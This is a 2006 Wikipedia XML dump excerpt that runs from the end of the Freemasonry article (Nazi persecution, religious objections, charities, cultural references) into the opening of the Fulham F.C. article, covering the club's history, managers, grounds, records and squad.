The ''Enabling Act'' (''[[:de:Ermächtigungsgesetz|Ermächtigungsgesetz]]'' in [[German language|German]]) was passed by Germany's parliament (the ''[[Reichstag (institution)|Reichstag]]'') on [[March 23]], [[1933]]. Using the &quot;Act&quot;, on [[January 8]], [[1934]] the [[Nazi Germany|German]] [[Ministry of the Interior]] ordered the disbandment of Freemasonry, and confiscation of the property of all Lodges; stating that those who had been members of Lodges when Hitler came to power, in January 1933, were prohibited from holding office in the Nazi party or its paramilitary arms, and were ineligible for appointment in public service. &lt;ref&gt;[http://www.nationalsozialismus.de/index.php? ''The ''Enabling Act'''] Accessed [[February 23]] [[2006]].&lt;/ref&gt; Consistently considered an ideological foe of Nazism in their world perception (''Weltauffassung''), special sections of the Security Service (SD) and later the Reich Security Main Office (RSHA) were established to deal with the Freemasonry. Freemasonic Concentration Camp inmates were graded as “Political” prisoners, and wore an inverted, (point down), ''[[Nazi concentration camp badges|red triangle]]''. &lt;ref&gt;''The Encyclopedia of the Holocaust'', volume 2, page 531, citing Katz, ''Jews and Freemasons in Europe''.&lt;/ref&gt;

On [[August 8]], [[1935]], as [[Führer]] and [[Chancellor of Germany|Chancellor]], Adolf Hitler announced in the [[National Socialist German Workers Party|Nazi]] Party newspaper, ''Voelkischer Beobachter'', the final dissolution of all Masonic Lodges in Germany. The article accused a conspiracy of the Fraternity and “World Jewry” of seeking to create a “[[New World Order|World Republic]]”. &lt;ref&gt;Bro. E Howe, ''Freemasonry in Germany'', Quatuor Coronati Lodge, No 2076 (UGLE), 1984 Yearbook.&lt;/ref&gt;

In modern democracies, Freemasonry is still sometimes accused of being a [[Old boy network|network]], where political influence and illegal business dealings take place. It is held that individuals become Freemasons through invitation, [[patrimony]], or other non-democratic means{{fact}}. This is actually officially and explicitly deplored. &lt;ref&gt; [http://www.grandlodge-england.org/index.htm ''UGLE Freemasons''] Accessed [[February 23]] [[2006]].&lt;/ref&gt; An individual must ask freely and without persuasion to become a Freemason in order to join the fraternity. &lt;ref&gt; [http://www.grandlodge-england.org/index.htm ''UGLE Freemasons''] Accessed [[February 23]] [[2006]].&lt;/ref&gt;

In Italy, the ''[[illicit]]'' and ''[[Regular Masonic jurisdictions|irregular]]''{{fact}} P2 lodge (aka [[Propaganda Due]]) has been investigated. In the wake of financial scandals that nearly bankrupted the [[Vatican Bank]] in the late [[1970s]], there is suspicion of involvement in murders, including the head of [[Banco Ambrosiano]], [[Roberto Calvi]]. He was found hanging under [[Blackfriars Bridge]] in [[London]], [[England]].  In [[Nice]], [[France]], the Head [[Prosecutor]] has accused some judges and other judicial personnel of deliberately stalling or refusing to elucidate cases involving Freemasons.{{fact}}

The [[UK]] [[Labour Party (UK)|Labour]] Government attempted, in the [[2000s]], to require all members of fraternal organisations who are public officials to make their affiliation public.{{fact}} This was challenged under [[European]] [[Human Rights]] legislation, forcing the Government to curtail the scope of their requirements.{{fact}}

=== Christian religious opposition ===
{{main|Christianity and Freemasonry}}

Although sections of other faiths cite objections, in general, there are three doctrinal objections to Freemasonry cited in common by Christian denominations:

*[[Syncretism]]; in that the religious aim of Freemasonry is the creation of a new 'super' or 'universal' religion created by combining various deities and teachings, many of which are pre-Christian. {{fact}}

*[[dogmatic|Non-dogmatism]], being at odds with the claims of Christian exclusivity. {{fact}}

*[[Esoteric]] gloss put onto Masonic ritual, cited as being synonymous with [[Gnosticism]]. {{fact}}

Those Grand Lodges in amity with UGLE explicitly and adhere to the principle that Freemasonry is not a religion, nor a substitute for religion; There is no separate &quot;Masonic god&quot;, and there is no separate proper name for a deity in Freemasonry. &lt;ref&gt;[http://www.grandlodge-england.org/masonry/A2L-religion.htm UGLE: Is Freemasonry a religion?], accessed [[January 21]] [[2006]].&lt;/ref&gt;
 

While regular Masonry has always tended as much to [[rationalism]] as it does to [[mysticism]],  the very existence of the possibility of [[hermetic]] interpretations within Freemasonry has led Anti-Masonic activists to quote works such as [[Albert Pike|Albert Pike's]] ''Morals and Dogma'' to try to show Freemasonry as [[Satanic]]. 

However, since it is not a religion, Freemasonry is [[dogmatic|non-dogmatic]] and [[constitution|constitutionally]] governed. Pike's opinions are his own personal - and now somewhat outdated - interpretations. Most tellingly, Pike himself admits that his book is culled more from other sources than being his original work. Most importantly, Pike is but one commentator amongst many, and no one voice has ever spoken for the whole of Freemasonry.

=== Holocaust ===
{{NPOV-section}}
{{merge|Freemasonry under Totalitarian Regimes}}



[[Image:Forget-me-not close 600.jpg|thumb|right|120px|'''[[Forget-me-not|Forget-me-nots]]''']]

The majority of those who suffered during the [[Holocaust]] were the [[Jews]] (because of their religion) and the [[Polish|Poles]] (because of their nationality). Freemasons were selected for &quot;special treatment&quot; by the [[Nazis]] &amp;mdash; tortured and executed simply because they were Freemasons. During that time, Freemasons are believed in some places to have worn blue [[Forget-me-not|Forget Me Not]] flowers as a secret badge of recognition. Conservative estimates calculate that between 80,000 and 200,000 Freemasons died.&lt;ref name=&quot;holocaust&quot;&gt;Freemasons for Dummies, by Christopher Hodapp, Wiley Publishing Inc., Indianapolis, 2005, p.85, sec. ''Hitler and the Nazi''&lt;/ref&gt;. It is impossible to arrive at a total figure as no one knows the number of Freemasons from Nazi occupied countries who were murdered. &lt;ref&gt;[http://www.hmd.org.uk/ '' Holocaust Memorial Day (UK)''] Accessed [[February 23]] [[2006]].&lt;/ref&gt; The [[United Kingdom]] Government established [[Holocaust Memorial Day (UK)|Holocaust Memorial Day]] &lt;ref&gt;[http://www.hmd.org.uk/ '' Holocaust Memorial Day (UK)''] Accessed [[February 23]] [[2006]].&lt;/ref&gt; to recognise all groups who were targets of the Nazi regime. 

The little blue [[Forget-me-not|Forget Me Not]]&lt;ref&gt;[http://www.galenlodge.co.uk/forgetmenot.htm ''Das Vergissmeinnicht The Forget-Me-Not''] Accessed [[February 6]] [[2006]].&lt;/ref&gt; flower, or badge, is worn in the coat lapel to remember all those that have suffered in the name of Freemasonry, and specifically those during the Nazi era.{{fact}} In [[1948]] this emblem was adopted as an official Masonic emblem at the first Annual Convention of the United Grand Lodges of Germany, Ancient Free &amp; Accepted Masons. Two UGLE Lodges, with services connections to Germany, are named after the flower. &lt;ref&gt;[http://www.pglwilts.co.uk/page52.html ''History of the Forget Me Not Lodge No 9035''] Accessed [[February 6]] [[2006]].&lt;/ref&gt;

==Charitable effort==

Freemasons collect a considerable amount of money internally which is attributed to charitable purposes.  A number of structures exist within Freemasonry to disburse this money, a considerable proportion of which goes to non-Masonic charities either locally or on a provincial or national basis.

Masonic charities include

*Homes &lt;ref&gt;http://www.rmbi.org.uk/&lt;/ref&gt;&lt;ref&gt;http://www.grandlodgescotland.com/glos/FMH/info.html&lt;/ref&gt; which provide sheltered housing or nursing care.
*Education with both educational grants&lt;ref&gt;http://www.rmtgb.org/&lt;/ref&gt; or residential education&lt;ref&gt;http://www.royalmasonic.herts.sch.uk/pages/default.asp&lt;/ref&gt; which are open to all and not limited to the families of Freemasons.
*Medical assistance&lt;ref&gt;http://www.nmsf.org&lt;/ref&gt;

==Contemporary challenges==
As with other fraternal organisations in the 21st Century, Freemasonry in some districts of the United States, the UK and other jurisdictions has been losing members, faster than it can replenish them. In contrast, the number of Masons is generally on the rise in South America and Continental Europe{{fact}}.

A number of theories exist as to the cause of this declining membership:

*A consequence of changing social mores and recognisable in other similar organisations. {{fact}}
*A return to a more natural level following an unsustainable increase in membership following WWII. {{fact}}


Many Grand Lodges in the U.S. have tried a variety of, often-controversial, measures to address declining membership. These have included &quot;one-day ceremonies&quot; of all the three degrees for large groups of candidates, (as opposed to individual degree conferrals taking months or years to complete); advertising on billboards, and even active recruitment of new candidates by members, (as opposed to the tradition of considering only those who actively seek membership for themselves). Some Masons object to the traditions and principles of Freemasonry being diluted by these changes, feeling that the Fraternity has survived centuries of social change without changing itself; others cite a need for Freemasonry to modernize and make itself relevant to new generations.

==Cultural references==
* [[Kipling|Rudyard Kipling]] used Masonic symbols and characters in some of his writings, most notably ''[[The Man Who Would Be King]]'', which was later made into a film.  Two adventurers are taken to be Masonic representatives of [[Alexander the Great]].

* One of the main characters in [[Edgar Allan Poe|Edgar Allan Poe]]'s ''[[The Cask of Amontillado]]'' is a Freemason.

* One of the main characters in [[Leo Tolstoy|Leo Tolstoy's]] ''[[War and Peace]]'' becomes a Freemason.

* The plot of the opera &quot;[[Die Zauberflöte]]&quot; (&quot;The Magic Flute&quot;) contains several references to Masonic ideals and ceremonies.  [[Wolfgang Amadeus Mozart|Mozart]] and his librettist [[Emanuel Schikaneder]] were in the same Masonic &quot;Lodge of the Nine Muses&quot;.

*[[Joseph Smith]], the founder of the [[Mormon]] religion was a Freemason, as were the first five presidents of [[Church of Jesus Christ of Latter-day Saints|the Church]]: Smith, [[Brigham Young]], [[John Taylor (1808-1887)|John Taylor]], [[Wilford Woodruff]], and [[Lorenzo Snow]]. 

*The [[Hermetic Order of the Golden Dawn]] was a society founded by at least one Mason who also was a member of the [[Societas Rosicruciana in Anglia]] (a research and study group focusing on symbolic [[alchemy]], the mystical [[kabbalah]], [[tarot]], and Christian Symbolism). The Golden Dawn was never a Masonic body, and was open to membership from non-Masons and women.

* The [[graphic novel]] ''[[From Hell]]'' by [[Alan Moore]], (and the movie based upon it) - feature as their basic premise - a [[Jack the Ripper royal conspiracy theories|conspiracy theory]] linking &quot;certain Freemasons&quot; to the [[Jack the Ripper]] murders. The story is that &quot;Freemason&quot; [[William Withey Gull|Sir William Gull]], the then British Royal Household's physician, covered up a child of [[Prince Albert Victor, Duke of Clarence]] born to a Catholic shop girl - &quot;by killing her, and all the women who knew about the baby&quot;. The story depends on the assumption that such figures as the [[Marquess of Salisbury]], Sir William Gull and [[Sir Robert Anderson]] were Freemasons - but there is no actual record of their initiation into Freemasonry in any Lodge. 

* Freemasons feature heavily in [[Robert Shea|Robert Shea's]] and [[Robert Anton Wilson|Robert Anton Wilson's]] satire, ''[[The Illuminatus! Trilogy]]''.

* [[John Cleese]], and other Cast members, portray [[Parody|spoof]] Freemasons in the ''How to recognise a Freemason'' sketch of the satire ''[[Monty Python's Flying Circus]]''.

* The Freemasons are [[Parody|spoofed]] in an episode of ''[[The Simpsons]]'' as [[Stonecutters|The Ancient Society of Stonecutters]], a secret organisation that controls everything from [[NASA]] to the [[Academy Awards]] (thereby securing [[Steve Guttenberg]]'s stardom).

* Another episode of ''[[The Simpsons]]'' has a scene where [[Montgomery Burns|Mr. Burns]], obsessing with germs and becoming a &quot;[[Howard Hughes]]&quot;-like recluse, sees germs on [[Waylon Smithers|Smithers']] face.  The germs chant &quot;Freemasons run the country.&quot;

* [[Dan Brown|Dan Brown's]] novels, ''[[Angels and Demons]]'', ''[[The Da Vinci Code]]'' and  ''[[The Solomon Key]]'' draw heavily on supposed Masonic and Christian lore and symbolism.

* ''[[Foucault's Pendulum (book)|Foucault's Pendulum]]'' by [[Umberto Eco]] also deals with Freemasonic themes.

* [[The Cremaster Cycle]] films by [[Matthew Barney]] use Masonic imagery.

* The plot of the 2004 movie ''[[National Treasure (film)|National Treasure]]'' revolves heavily around the Freemasons and is somewhat unusual in that it depicts them in a benign light.

* In ''The Baron in the Trees'' Italian writer [[Italo Calvino]] includes Masonry lodges branching out into the lands of Ombrosa with the protagonist of the novel, Cosimo di Rondo, mysteriously and supposedly involved with them.

* [[Katherine Kurtz]] and Deborah Turner Harris use Freemasonry in their series ''The Adept'', most notably in ''The Adept Book Two: The Lodge of the Lynx'', and in Kurtz's [[American Revolution]] [[historical novel]] ''Two Crowns for America'', which links Freemasonry and [[Jacobitism]].

* In [[John Steinbeck]]'s novel ''[[East of Eden]]'' Adam Trask, the main character, is mentioned as becoming a Freemason later in life.

==Notes==
&lt;references/&gt;
== See also ==
* [[Anti-clericalism]]
* [[Anti-Freemasonry]]
* [[Anti-Masonic Party]]
* [[Catholicism and Freemasonry]]
* [[Co-Freemasonry]]
* [[Gnosticism]]
* [[List of Freemasons]]
* [[List of Masonic Grand Lodges]]
* [[Masonic Knights Templar]]
* [[Pigpen cipher]]
* [[Prince Hall Freemasonry]]
* [[Propaganda Due]] - The P2 Masonic Lodge Scandal
* [[Taxil hoax]]

=== Appendant bodies ===
* [[York Rite|York Rite]]
* [[Royal Order of Scotland]]
* [[Scottish Rite]]
* [[Shriners|Ancient Arabic Order of the Nobles of the Mystic Shrine (Shriners)]]
* [[Societas Rosicruciana in Anglia]] in England
* [[Societas Rosicruciana in Scotia]] in Scotland
* [[Swedish Rite]]

=== Organizations with Masonic affiliations ===
* [[Ancient Egyptian Order of Sciots]]
* [[Daughters of the Nile]]
* [[DeMolay International]]
* [[International Order of Job's Daughters]]
* [[International Order of the Rainbow for Girls]]
* [[Ladies Oriental Shrine of North America]]
* [[National Sojourners]]
* [[Order of the Eastern Star]]
* [[Order of the Amaranth]]
* [[The Philalethes Society]]
* [[Tall Cedars of Lebanon]]

==External links==

*[http://freemasonry.bcy.ca/anti-masonry/anti-masonry_faq.html Anti-Masonry Frequently Asked Questions]
*[http://www.brad.ac.uk/webofhiram/ Web of Hiram]
*[http://www.freemasons-freemasonry.com/ PS Review of Freemasonry made by Freemasons for Free Masons]
*[http://freemasonry.bcy.ca/texts/index.html/ History and philosophy of Freemasonry.]
*[http://www.phoenixmasonry.org/the_builder_1920_june.htm James A. Garfield, &quot;Memorials to Great Men Who Were Masons&quot;]
*[http://www.masonicinfo.com/famous.htm Famous Freemasons]
*[http://MasonryPage.org/ A Page About Freemasonry]
*[http://www.geocities.com/stlaasr/masonic-books-online.html Masonic Books On-Line] 
*[http://www.kena.org/hirams/ Hiram's Oasis] 
*[http://internetloge.de/masmon/masmon.htm Webb's Freemason's Monitor &amp;mdash; including the first three degrees]
*[http://www.harunyahya.com/globalfreemasonry01.php Harun Yahya: Global Freemasonry] 
*[http://internetloge.de/masmanu/masmanu.htm Robert Macoy: The Masonic Manual &amp;mdash; A pocket Companion for the Initiated]
*[http://internetloge.de/massym/massym.htm Albert G. Mackey, M. D.: Symbolism of Freemasonry]   
*[http://www.internetloge.de/kunst/kunstabe.htm Masonic Art] 
*[http://altreligion.about.com/od/masonicclipartgraphics/ Masonic art &amp; clip art ]
*[http://users.marshall.edu/~will2/freemasonry.html The Real Secret of Freemasonry] 
*[http://www.masonicinfo.com Discussion of Anti-Masonry]
*[http://www.freemasons-freemasonry.com/bernheim3.html The Blue Forget Me Not, Another Side of the Story by W.Bro. Alain Bernheim 33rd] 
*[http://www.freemasons-freemasonry.com/bernheim12.html German Freemasonry and it's Attitudes towards the Nazi Regime, by W. Bro. Alain Bernheim 33rd Degree] 
*[http://www.grandelogenationalefrancaise.com/ The Grande Loge Nationale Francaise GLNF]
*[http://www.bessel.org/forgnot.htm ''The Forget Me Not and Freemasonry''] 
*[http://digitalcommons.unl.edu/libraryscience/25/ ''The Constitutions of the Free-Masons''] written by James Anderson and published &quot;For the Use of the Lodges&quot; in 1723 in [[London]], and in 1734 by [[Benjamin Franklin]] in [[Philadelphia]]. Contains a mythical-biblical-historical account of the order, as well as &quot;charges&quot; and general regulations for members and lodges.

[[Category:Freemasonry|*]]
[[Category:Politics]]
[[Category:Secret societies|Freemasonry]]
[[Category:Sociology]]

[[ar:ماسونية]]
[[bg:Масони]]
[[cs:Svobodné zednářství]]
[[da:Frimureri]]
[[de:Freimaurerei]]
[[eo:Framasonismo]]
[[es:Francmasonería]]
[[et:Vabamüürlus]]
[[fa:فراماسونری]]
[[fi:Vapaamuurarit]]
[[fr:Franc-maçonnerie]]
[[he:הבונים החופשיים]]
[[hu:Szabadkőművesség]]
[[id:Freemasonry]]
[[it:Massoneria]]
[[ja:フリーメイソン]]
[[ko:프리메이슨]]
[[nl:Vrijmetselarij]]
[[no:Frimureri]]
[[pl:Masoneria]]
[[pt:Maçonaria]]
[[ro:Francmasonerie]]
[[ru:Масоны]]
[[sl:Prostozidarstvo]]
[[sr:Слободно зидарство]]
[[sv:Frimurarorden]]
[[zh:共济会]]</text>
    </revision>
  </page>
  <page>
    <title>Fulham F.C.</title>
    <id>11228</id>
    <revision>
      <id>41595148</id>
      <timestamp>2006-02-28T10:57:42Z</timestamp>
      <contributor>
        <username>Tasc</username>
        <id>853739</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/82.198.250.79|82.198.250.79]] to last version by 195.92.40.49</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Fulham |
  image    = [[Image:Fulham_crest.png|100px|Fulham crest]] |
  fullname = Fulham Football Club |
  nickname = The Cottagers, The Whites |
  founded  = [[1879]] |
  ground   = [[Craven Cottage]], [[Fulham]], [[London]] |
  capacity = 22,230 |
  chairman = [[Image:Egypt_flag_large.png|20px|Egyptian]] [[Mohamed Al-Fayed]] |
  manager  = [[Image:Flag of Wales 2.svg|20px|Welsh]] [[Chris Coleman (footballer)|Chris Coleman]] |
  league   = [[FA Premier League]] |
  season   = [[FA Premier League 2004-05|2004-05]] |
  position = Premier League, 13th |
  shirtsupplier= [[PUMA AG|PUMA]] |
  shirtsponsors= [[PIPEX]] |
  pattern_la1=_redshoulders|pattern_b1=_oneredshoulderonwhite|pattern_ra1=_shouldersonwhite|
  leftarm1=FFFFFF|body1=000000|rightarm1=000000|shorts1=000000|socks1=FFFFFF|
  pattern_la2=_whiteshoulders|pattern_b2=_whiteshoulders|pattern_ra2=_whiteshoulders|
  leftarm2=FF0000|body2=FF0000|rightarm2=FF0000|shorts2=FF0000|socks2=FF0000|
}}
'''Fulham Football Club''' (FFC) is a [[football (soccer)|football]] team based in [[Fulham]], [[London]]. Founded in 1879, they celebrated their 125th anniversary in 2004, and they are playing in the top tier of English football, the [[FA Premier League|FA Premiership]]. Fulham FC are in fact the oldest professional football club from the London area, a record that might surprise a few fans of some of the bigger clubs in the City.

They spent much time in the Old First Division (Premiership) through the 60s, but are yet to gain any major honors, their only [[FA Cup]] final appearance being in [[1975]]. They are currently playing at [[Craven Cottage]], a beautiful riverside ground in Fulham, having spent two years at [[Loftus Road]], with a still uncertain future. See more on this topic in the '''''[[Fulham F.C.#Grounds|Grounds]]''''' subsection of this article. They are currently looking for no more than a respectable finish in their 20-team league, although [[relegation]] is at the back of their mind.

Fulham also has a ladies team, [[Fulham L.F.C.]]. Both the men's and women's team train at the club's ground near [[Motspur Park]] - where the [[Fulham Academy|Academy]] is situated.

==History==
===Foundation &amp; The Amateur Years===
Fulham Football Club started its existence as Fulham St Andrew's Church Sunday School FC in [[1879]]. They won the West London Amateur Cup in 1887 and, having changed the name to 'Fulham' in [[1888]], the West London League in [[1893]] at the first attempt. They gained [[Professional sport|professional]] status on [[December 12]] [[1898]].

They played in colors more akin to [[Arsenal F.C.|Arsenal]] in this era.

===Pre-1945===
After turning professional, it was a number of years before Fulham gained admission to the professional league, which they did by winning the Southern League Championship in the 1906/07 season. Fulham's first ever match as a league side saw them losing 1-0 at home to [[Hull City A.F.C.|Hull City]] in September 1907. The first win came four days later against [[Derby County F.C.|Derby County]], and when they eventually found their feet in the division they impressed, ending up only three points short of promotion.

They didn't come any closer to the [[Football League First Division|First Division]] for a while, finishing consistently in the mediocracy up until the outbreak of [[World War II]]. They won one minor cup, in 1910, the London Challenge Cup.

===Post-1945===
Post-war, Fulham were promoted to the First Division in 1959, and had crowds regularly exceeding 30,000. They never pushed higher than mid-table though, and were eventually relegated in 1968. They later saw stars like [[Bobby Moore]] and [[George Best]] play for the club, and reached the [[FA Cup]] Final in [[1975]], losing to [[West Ham United F.C.|West Ham United]]. In the build up to this, Tony Rees and The Cottagers released a single, &quot;[[Viva el Fulham]]&quot; which is still played and sometimes chanted at Fulham games. Despite a [[Malcolm Macdonald]] team in the 1980s which looked to be the start of a new revolution, Fulham hit the football league basement in [[1994]], in being relegated to the [[Football League Third Division|Third Division]].

==Recent History==
===Before Al Fayed===
After the side's relegation, Ian Branfoot was installed as manager. His first season in charge yielded a seventh place finish, which would have given them a place in the play-offs if not for a restructuring of the league. Branfoot's second season was a disaster, with the side languishing near the foot of the table and only seeming safe due to Torquay United being hopelessly adrift at bottom position. The situation came to a head when Fulham played Torquay at their Plainmoor ground and lost, meaning that they had only won two from their previous twenty league games. Fulham followed the match with three draws which hardly improved the situation, and Branfoot was fired two weeks after the Torquay match (though retained in other capacities for a while afterwards)

Micky Adams was appointed as manager and oversaw an upturn in form that lifted the side out of what little relegation danger was present. The next season he engineered a complete turnaround in form and his side, captained by [[Simon Morgan]] finished second, only missing out on first due to the league dropping the old &quot;goal difference&quot; system in favor of a &quot;goals scored&quot; tally. While Fulham's goal difference was one better than that of champions Wigan Athletic, they scored twelve less goals. This was subtly ironic, as the club's then Chairman [[Jimmy Hill]], had successfully argued that goals scored should decide places of teams tied on points while sitting on an [[FA]] panel.
===Al Fayed's Era===
Millionaire [[Mohamed Al-Fayed]] purchased the club that summer and fired Adams in the aftermath of a poor start. In Adams' place he installed a managerial 'dream team' of [[Ray Wilkins]] and [[Kevin Keegan]], pledging that the club would reach the Premiership with five years.

After an argument over team selection, Wilkins left the club, having nearly secured promotion to the First Division. Keegan steered Fulham to a spectacular promotion the next season, winning 101 points of a possible 138, captained by now manager [[Chris Coleman (footballer)|Chris Coleman]]. He then left to become manager of the [[English national football team]], and veteran player [[Paul Bracewell]] was put in charge.

Fulham's first season in the 1st Division was deemed a failure, despite a respectable 9th place finish. Bracewell was fired in March after their early promotion charge faded into a mid-table position. Karlheinz Riedle was named caretaker manager, though the majority of the remaining matches were overseen by Roy Evans after Riedle was hospitalized due to a collapsed lung.

[[Jean Tigana]] was put in charge, and having signed a number of young stars, including [[Louis Saha]], he guided Fulham to their third promotion in five seasons, again in emphatic style, giving Fulham top flight status for the first time since 1968. During this season club captain and subsequent manager, Chris Coleman, was involved in a car crash which 18 months down the line finished his career. Fulham were widely tipped to take the Premiership by storm, with many pundits predicting a challenge for the UEFA cup or even Champions League places. The expected challenge never materialised and a mid-table campaign was the result. The following season saw Fulham dangerously close to the relegation zone, and Tigana announced that he would leave his job at the end of the season. He left slightly sooner than that, with Chris Coleman taking charge for five games at the end of the season.

Coleman was named as Fulham's head coach at the start of the 2003/2004 season. He had spent a number of months in temporary charge prior to that, Tigana had been fired after two and a half average Premiership seasons, with the only highlight being a short run in the [[UEFA Cup]]. This came courtesy of victory in the [[UEFA Intertoto Cup|Intertoto Cup]], a UEFA Cup qualifying system often shunned by bigger clubs.

Coleman's guided Fulham to a club best ninth place finish in his first season as manager, and a 13th place in the 2004/05 season.

Chris Coleman's assistant manager is [[Steve Kean]]. The pair are helped in their roles by three coaches including ex-manager [[Ray Lewington]], Scottish legend [[Billy McKinlay]]. The third is goalkeeping coach [[Dave Beasant]]. The first team [[physiotherapist|physio]] is Australian [[Jason Palmer]] and the [[Fulham Academy]] is headed by [[John Murtough]].

[[Craig Brown (football)|Craig Brown]] was appointed by the club in summer 2005 as their &quot;International Representative&quot;.

==Managers==
Fulham have had 30 full-time managers in their history. All but one have been British, the exception being Frenchman Jean Tigana. The dates given here are for their stretches as club manager, numerous people have played at the club (e.g. [[Paul Bracewell|Bracewell]]) or been employed by the club before or after actually being first-team manager (e.g. [[Kevin Keegan|Keegan]]).
{| border=&quot;1&quot; cellpadding=&quot;2&quot;
!Name
!From
!To
|-
|[[Harry Bradshaw]]
|1904
|1909
|-
|[[Phil Kelso]]
|1909
|1924
|-
|[[Andy Ducat]]
|1924
|1926
|-
|[[Joe Bradshaw]]
|1926
|1929
|-
|[[Ned Liddell]]
|1929
|1931
|-
|[[James McIntyre (footballer)|James McIntyre]]
|1931
|1934
|-
|[[Jimmy Hogan]]
|1934
|1935
|-
|[[Jack Peart]]
|1935
|1948
|-
|[[Frank Osborne]]
|1948
|1949
|-
|[[Bill Dodgin, Sr.]]
|1949
|1953
|-
|[[Frank Osborne]]
|1953
|1956
|-
|[[Dugald Livingstone]]
|1956
|1958
|-
|[[Bedford Jezzard]]
|1958
|1964
|-
|[[Vic Buckingham]]
|1965
|1968
|-
|[[Bobby Robson]]
|1968
|1968
|-
|[[Bill Dodgin, Jr.]]
|1969
|1972
|-
|[[Alec Stock]]
|1972
|1976
|-
|[[Bobby Campbell (footballer)|Bobby Campbell]]
|1976
|1980
|-
|[[Malcolm Macdonald|Malcolm MacDonald]]
|1980
|1984
|-
|[[Ray Harford]]
|1984
|1986
|-
|[[Ray Lewington]]
|1986
|1990
|-
|[[Alan Dicks]]
|1990
|1991
|-
|[[Don Mackay]]
|1991
|1994
|-
|[[Ian Branfoot]]*
|1994
|1996
|-
|[[Micky Adams]]
|1996
|1997
|-
|[[Ray Wilkins]]
|1997
|1998
|-
|[[Kevin Keegan]]**
|1998
|1999
|-
|[[Paul Bracewell]]***
|1999
|2000
|-
|[[Jean Tigana]]
|2000
|2003
|-
|[[Chris Coleman]]
|2003
|}
* *Ian Branfoot continued to be employed by the club after his dismissal as manager.
* **Kevin Keegan was employed by the club as Chief Operating Officer during his predecessor's reign.
* ***When Paul Bracewell was fired half way through the [[1999-2000 in English football|1999-2000]] season, there was a temporary period of Fulham being managed by their [[striker (football)|striker]] [[Karlheinz Riedle]] and his old boss at [[Liverpool F.C.|Liverpool]] [[Roy Evans]]. Riedle actually injured a lung in the season's penultimate game - his last for the club.

==Grounds==
* 1879-1883 - [[Star Road]], [[Fulham]]
* 1883-1884 - [[Eel Brook Common]], Fulham 
* 1884-1885 - [[Lillie Rec]], Fulham
* 1885-1886 - [[Putney Lower Common]], [[Putney]]
* 1886-1888 - [[Ranelagh House]], Fulham
* 1888-1889 - [[Barn Elms]], [[Barnes]]
* 1889-1891 - [[Parsons Green (Park)|Parsons Green]], Fulham
* 1891-1895 - [[Half Moon]], Putney
* 1895-1896 - [[Cpt. James Field]], [[Brompton|West Brompton]]
* 1896-2002 - [[Craven Cottage]], Fulham
* 2002-2004 - [[Loftus Road]], [[White City]] (groundshare with [[Queens Park Rangers F.C.|Queens Park Rangers]] during Craven Cottage renovation)
* 2004 to present - [[Craven Cottage]] (read the Craven Cottage article for future prospects of the ground.)

==Honors==
Fulham Football Club have never won a major trophy, however, they have a reasonably long list of achievements. In the list below, all trophies and leagues are referred to by the names they held at the time, which due to commercial and practical reasons have changed over time. For more information see articles in individual leagues from [[English football league system|here]].

*[[1907]] - [[Southern Football League|Southern League]] Champions
*[[1907]] - Admission to [[The Football League]] as Southern League Champions
*[[1908]] - [[FA Cup]] Semi-Finalists
*[[1932]] - [[Football League Third Division South|Division Three South]] Champions
*[[1936]] - FA Cup Semi-Finalists
*[[1949]] - [[Football League Second Division|Division Two]] Champions
*[[1958]] - FA Cup Semi-Finalists
*[[1959]] - Promotion from Division Two
*[[1962]] - FA Cup Semi-Finalists
*[[1970]] - Promotion from [[Football League Third Division|Division Three]]
*[[1975]] - FA Cup Finalists
*[[1975]] - [[Anglo-Scottish Cup]] Finalists
*[[1982]] - Promotion from Division Three
*[[1997]] - Promotion from Division Three
*[[1999]] - Division Two Champions
*[[2001]] - [[Football League First Division|Division One]] Champions
*[[2002]] - FA Cup Semi-Finalists
*[[2002]] - [[UEFA Intertoto Cup|Intertoto Cup]] Winners

==Club Records and Statistics==
[[Image:fulham.gif|right|thumb|150px|Club Crest during the [[1970s]]]]
===All Time Results Record===
''Correct for the start of the [[2004-05 in English football|2004-05 Season]]''
{|
|-
|Played|| :||3434
|-
|Won||:||1289
|-
|Drawn||:||853
|-
|Lost||:||1292
|-
|Scored||:||5085 
|-
|Conceded||:||4956
|-
|Points (3pts/win)||:||4720
|}
*Won = 37.5% (Roughly equal to winning 3 in every 8 games)
*Drawn = 24.8% (2 in 8)
*Lost = 37.6% (3 in 8)
*Goals scored per Game = 1.48
*Goals conceded per Game = 1.45
*Points per Game = 1.44

===Performance in the top division===
Fulham have spent 15 seasons in the national top flight, finishing in these positions:
*9th - Once ([[FA Premier League 2003-04|2004]])
*10th - Once
*13th - Twice
*14th - Once
*15th - Once
*16th - Once
*17th - Twice
*18th - Twice
*20th - Three Times
*22nd - Twice

;Correct for Start of [[2005-06 in English football|2005-2006]] season.

===Appearances===
There are five Fulham players who have been in the club's starting line-up more than 450 times, all of whom have since retired from football.
{|
|-
|[[Johnny Haynes]]|| :||657
|-
|[[Eddie Lowe]]|| :||511
|-
|[[Les Barrett]]|| :||487 + 4 as substitute
|-
|[[Frank Penn (footballer)|Frank Penn]]|| :||460
|-
|[[George Cohen]]|| :||459
|-
|}
:Correct for start of [[2005-06 in English football|2005-2006]] season.

====Current Players====
The three most often-starting players still at the club as of January 2006 are:
{|
|-
|[[Luis Boa Morte]]|| :||220
|-
|[[Steed Malbranque]]|| :||196
|-
|[[Sylvain Legwinski]]|| :||163
|-
|}

===Goalscorers===
There are seven men to have scored more than one hundred goals for the club, all of whom have since retired from football:
{|
|-
|[[Gordon Davies]]|| :||178
|-
|[[Johnny Haynes]]|| :||157
|-
|[[Bedford Jezzard]]|| :||154
|-
|[[Jim Hammond]]|| :||150
|-
|[[Graham Leggatt]]|| :||134
|-
|[[Arthur Stevens]]|| :||124
|-
|[[Steve Earle (footballer)|Steve Earle]]|| :||108
|-
|}

====Current players====
The three most prolific scorers still at the club as of January 2006 are:
{|
|-
|[[Luis Boa Morte]]|| :||51
|-
|[[Steed Malbranque]]|| :||41
|-
|[[Brian McBride]]|| :||23
|-
|}

==Current Squad==
:''As of [[January 31]]st, [[2006]]:''
{{Fs start}}
{{Fs player| no= 1| nat=Wales       | pos=GK| name=[[Mark Crossley]]}}
{{Fs player| no= 2| nat=Germany     | pos=DF| name=[[Moritz Volz]]}}
{{Fs player| no= 3| nat=United States| pos=DF| name=[[Carlos Bocanegra]]}}
{{Fs player| no= 4| nat=France      | pos=MF| name=[[Steed Malbranque]]}}
{{Fs player| no= 5| nat=France      | pos=MF| name=[[Sylvain Legwinski]]}}
